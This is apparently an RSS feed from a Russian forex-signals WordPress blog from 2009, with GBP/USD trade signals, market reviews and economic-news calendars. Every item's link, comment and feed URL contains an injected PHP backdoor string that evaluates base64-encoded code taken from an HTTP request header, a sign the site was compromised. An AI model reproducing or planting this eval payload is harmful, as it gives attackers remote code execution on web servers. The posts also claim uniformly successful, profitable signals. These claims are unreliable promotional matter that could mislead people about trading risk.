<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Бесплатные торговые сигналы Forex</title>
	<atom:link href="http://www.freefx.ru/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.freefx.ru</link>
	<description>Играть на рынке форекс, с нами очень просто!</description>
	<pubDate>Thu, 03 Dec 2009 15:13:21 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>Статистика за ноябрь 2009 года</title>
		<link>http://www.freefx.ru/2009/12/03/statistika-za-noyabr-2009-goda/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.freefx.ru/2009/12/03/statistika-za-noyabr-2009-goda/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 15:13:21 +0000</pubDate>
		<dc:creator>_Admin_</dc:creator>
		
		<category><![CDATA[Cтатистика]]></category>

		<guid isPermaLink="false">http://www.freefx.ru/?p=975</guid>
		<description><![CDATA[Этот месяц был сложен тем, что велись работы по сайту, проект восстанавливался, произошли изменения в команде…
Итог этого месяца: + 371 пункт чистой прибыли – чистая отработка по тейк профитам. Ни один из сигналов не был выбит по стопу, все они были успешны!
Более того, вникая в наши торговые сигналы, обзоры и рекомендации, открываясь по нашим сигналам [...]]]></description>
		<wfw:commentRss>http://www.freefx.ru/2009/12/03/statistika-za-noyabr-2009-goda/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Сигнал gbp\usd – Бай\покупка (или Buy stop) от 6444 при НЕ пробитии 6271  \\ 27.11.09 \ 15:50 МСК === Отработан по первичному тейку. Итог +34пп Далее - следующий тейк\цель 6530  движение с потенциалом</title>
		<link>http://www.freefx.ru/2009/11/27/signal-gbpusd-%e2%80%93-bajpokupka-ili-buy-stop-ot-6444-pri-ne-probitii-6271-271109-1550-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.freefx.ru/2009/11/27/signal-gbpusd-%e2%80%93-bajpokupka-ili-buy-stop-ot-6444-pri-ne-probitii-6271-271109-1550-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 13:37:33 +0000</pubDate>
		<dc:creator>_Admin_</dc:creator>
		
		<category><![CDATA[Торговые сигналы Forex]]></category>

		<guid isPermaLink="false">http://www.freefx.ru/?p=968</guid>
		<description><![CDATA[*Сигнал gbp\usd – Бай\покупка (или Buy stop) от 6444 при НЕ пробитии 6271  \\ 27.11.09 \ 16:15 МСК
Тейк\цель – 6478 (первичный) — *6530 
Стоп – 6356 (первичный) — * 6270
Сопротивления: *6450; *6459\60 (сильные сопротивления за максимумом!);  *6480; 6497; **6515;  6529\32
]]></description>
		<wfw:commentRss>http://www.freefx.ru/2009/11/27/signal-gbpusd-%e2%80%93-bajpokupka-ili-buy-stop-ot-6444-pri-ne-probitii-6271-271109-1550-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Сигнал gbp\usd - Бай (или Buy stop) от 6581 при НЕ пробитии 6500 \\ 26.11.09 \ 15:00 МСК</title>
		<link>http://www.freefx.ru/2009/11/26/signal-gbpusd-baj-ili-buy-stop-ot-6581-pri-ne-probitii-6500-261109-1500-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.freefx.ru/2009/11/26/signal-gbpusd-baj-ili-buy-stop-ot-6581-pri-ne-probitii-6500-261109-1500-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 12:23:34 +0000</pubDate>
		<dc:creator>_Admin_</dc:creator>
		
		<category><![CDATA[Торговые сигналы Forex]]></category>

		<guid isPermaLink="false">http://www.freefx.ru/?p=962</guid>
		<description><![CDATA[Сигнал gbp\usd  - Бай \ покупка (или Buy stop) от 6581    при НЕ пробитии 6500 &#8212; ОТМЕНЁН!
Тейк \ цель– 6620
Стоп – не определён, первичный 6500 (далее будет изменён)
Сопротивления: 6585; 6594; 6506; 6515    выше тейк профита 6623; 6635; 6643; 6652
Потенциал – не высокий
Сделка рискованная – в профит берется коррекционная [...]]]></description>
		<wfw:commentRss>http://www.freefx.ru/2009/11/26/signal-gbpusd-baj-ili-buy-stop-ot-6581-pri-ne-probitii-6500-261109-1500-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>*Обзор GBP\USD на 26.11.09 \ 11:00 МСК</title>
		<link>http://www.freefx.ru/2009/11/26/obzor-gbpusd-na-261109-1100-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.freefx.ru/2009/11/26/obzor-gbpusd-na-261109-1100-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 09:09:10 +0000</pubDate>
		<dc:creator>_Admin_</dc:creator>
		
		<category><![CDATA[Обзор рынка, анализ, рекомендации]]></category>

		<guid isPermaLink="false">http://www.freefx.ru/?p=958</guid>
		<description><![CDATA[Долгосрочка\Среднесрочка
См. Н4 – мы видим сильную коррекционную волну При пробитии уровня 1.6459 есть потенциал уйти на глубокую коррекцию ко всей волне D1\W1 от 2009.10.13, тем самым показав фигуру «треугольник»
При пробитии 1.6459, – среднесрочные поддержки: 6429; 6377; 6334; 6292; 6250\40; 6194; 6153; 6108.
Среднесрочка/краткосрочка:
В данный момент упёрлись в линию тренда, по минимумам 2009.10.13 и 2009.11.24 она будет [...]]]></description>
		<wfw:commentRss>http://www.freefx.ru/2009/11/26/obzor-gbpusd-na-261109-1100-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Важные экономические новости Форекс на 23.11.09</title>
		<link>http://www.freefx.ru/2009/11/23/vazhnye-ekonomicheskie-novosti-foreks-na-231109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.freefx.ru/2009/11/23/vazhnye-ekonomicheskie-novosti-foreks-na-231109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 08:33:16 +0000</pubDate>
		<dc:creator>_Admin_</dc:creator>
		
		<category><![CDATA[Новости Forex]]></category>

		<guid isPermaLink="false">http://www.freefx.ru/?p=956</guid>
		<description><![CDATA[-08:30	Герм. Индекс PMI для произв. сферы / PMI Manufacturing	нояб. актуал.
51.6
51.0
-09:00 ЕС Индекс PMI для произв. сферы / PMI Manufacturing	нояб. актуал.
51.2
50.7
-13:30	Канада Изменение объема розничной торговли (м/м) / Retail Sales (MoM)
сен.
0.6%
0.8%
-13:30	США Индекс экономич. активности от ФРС-Чикаго / Chicago Fed Nat Activity Index
окт.
-15:00	США Изменение объема продаж жилья на вторичном рынке (м/м) / Existing Home Sales (MoM)
окт.
2.3%
9.4%
]]></description>
		<wfw:commentRss>http://www.freefx.ru/2009/11/23/vazhnye-ekonomicheskie-novosti-foreks-na-231109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Сигнал продажа от 6754 при НЕ пробитии *6880   === Отработан! Итог: +54 пп</title>
		<link>http://www.freefx.ru/2009/11/18/signal-prodazha-ot-6754-pri-ne-probitii-6837/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.freefx.ru/2009/11/18/signal-prodazha-ot-6754-pri-ne-probitii-6837/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 09:41:54 +0000</pubDate>
		<dc:creator>_Admin_</dc:creator>
		
		<category><![CDATA[Торговые сигналы Forex]]></category>

		<guid isPermaLink="false">http://www.freefx.ru/?p=949</guid>
		<description><![CDATA[Продажа ( селл ) от 6754 ( или отложенный ордер селл стоп )
Стоп 6849
Цель - (тей профит) – 6705 
поддержки:  6748 (внимание, сильный уровень сразу за минимумом); 6740; *6727; 6709   6705 - тейк (цель) 
движение с потенциалом, поетому поддержки ниже цели (на своё усмотрение держать позицию или нет) - *6694; **6679; *6666; [...]]]></description>
		<wfw:commentRss>http://www.freefx.ru/2009/11/18/signal-prodazha-ot-6754-pri-ne-probitii-6837/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Важные экономические новости на 18.11.09</title>
		<link>http://www.freefx.ru/2009/11/18/vazhnye-ekonomicheskie-novosti-na-181109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.freefx.ru/2009/11/18/vazhnye-ekonomicheskie-novosti-na-181109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 09:24:58 +0000</pubDate>
		<dc:creator>_Admin_</dc:creator>
		
		<category><![CDATA[Новости Forex]]></category>

		<guid isPermaLink="false">http://www.freefx.ru/?p=947</guid>
		<description><![CDATA[Время – GMT
&#8211;09:30	Великоб. Публикация протокола заседания Банка Англии по ставкам / Bank of England Releases Minutes of Interest Rate Decision
Нояб. 18
&#8211;12:00	Канада Индекс потребительских цен (м/м) / Consumer Price Index (MoM)
Окт.
0.1%
0.0%
&#8211;13:30	США Индекс потребительских цен (м/м) / Consumer Price Index (MoM)
Окт.
0.2%
0.2%
&#8211;13:30	США Число закладок новых фундаментов / Housing Starts
Окт.
600K
590K
&#8211;15:30	США Данные по запасам сырой нефти от министерства энергетики / [...]]]></description>
		<wfw:commentRss>http://www.freefx.ru/2009/11/18/vazhnye-ekonomicheskie-novosti-na-181109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Обзор GBP\USD 17.11.09</title>
		<link>http://www.freefx.ru/2009/11/17/obzor-gbpusd-171109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.freefx.ru/2009/11/17/obzor-gbpusd-171109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 07:22:07 +0000</pubDate>
		<dc:creator>_Admin_</dc:creator>
		
		<category><![CDATA[Обзор рынка, анализ, рекомендации]]></category>

		<guid isPermaLink="false">http://www.freefx.ru/?p=945</guid>
		<description><![CDATA[Обзор GBP\USD 17.11.09
Долгосрочка:
Цена всё ближе подходит до значимого ценового уровня -  1.7044 (пик W1) при его пробитии – отмена варианта «треугольника»
Долгосрочные сопротивления при пробитии 1.7040 (желательно отметьте их на графике – на будущее - они могу сыграть большую роль)
Сопротивления:  *7186\99; *7293\03; *7393; 7443; 7562   &#8212; 10.11.09
+ сопротивления рассчитанные 2.11.09 = 1.7100; [...]]]></description>
		<wfw:commentRss>http://www.freefx.ru/2009/11/17/obzor-gbpusd-171109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Важные экономические новости на 17.11.09</title>
		<link>http://www.freefx.ru/2009/11/17/vazhnye-ekonomicheskie-novosti-na-171109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.freefx.ru/2009/11/17/vazhnye-ekonomicheskie-novosti-na-171109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 06:13:42 +0000</pubDate>
		<dc:creator>_Admin_</dc:creator>
		
		<category><![CDATA[Новости Forex]]></category>

		<guid isPermaLink="false">http://www.freefx.ru/?p=943</guid>
		<description><![CDATA[Время GMT
09:30 Великоб. Индекс потребительских цен (м/м) / CPI (MoM)
Окт.
0.1%
0.0%	
09:30	Великоб.	Индекс розничных цен (м/м) / RPI (MoM)
Окт.
0.1%
0.4%	
13:30	США	Индекс цен производителей (м/м) / Producer Price Index (MoM)
Окт.
0.5%
-0.6%	
14:00	США	Чистый объем покупок американских ценных бумаг иностранными инвесторами / Net Long-term TIC Flows
Сент.
$30,0В
$28.6B
14:15	США	Изменение объема промышленного производства / Industrial Production
Окт.
0.4%
0.7%	
18:00	США	Индекс цен на жилье от NAHB / NAHB Housing Market Index
Нояб.
19
18	
]]></description>
		<wfw:commentRss>http://www.freefx.ru/2009/11/17/vazhnye-ekonomicheskie-novosti-na-171109/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Сигнал GBP\USD *15 : 00 МСК     **** - отмена сигнала!</title>
		<link>http://www.freefx.ru/2009/11/16/signal-gbpusd-15-00-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.freefx.ru/2009/11/16/signal-gbpusd-15-00-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 12:04:33 +0000</pubDate>
		<dc:creator>_Admin_</dc:creator>
		
		<category><![CDATA[Торговые сигналы Forex]]></category>

		<guid isPermaLink="false">http://www.freefx.ru/?p=938</guid>
		<description><![CDATA[Сигнал GBP\USD   *15 : 00 МСК  при НЕ пробитии 1.6751 (при пробитии сигнал отменяется)
Продажа (sell) от уровня 6668 ( или установка отложенного ордера sell stop )
Стоп (stop loss)  - пока не определён
Цель ( или тейк профит ) 1.6630
Поддержки:  *6660 (сильная поддержка сразу после пробития минимума – будьте осторожны); 6652\50; 6644; [...]]]></description>
		<wfw:commentRss>http://www.freefx.ru/2009/11/16/signal-gbpusd-15-00-msk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
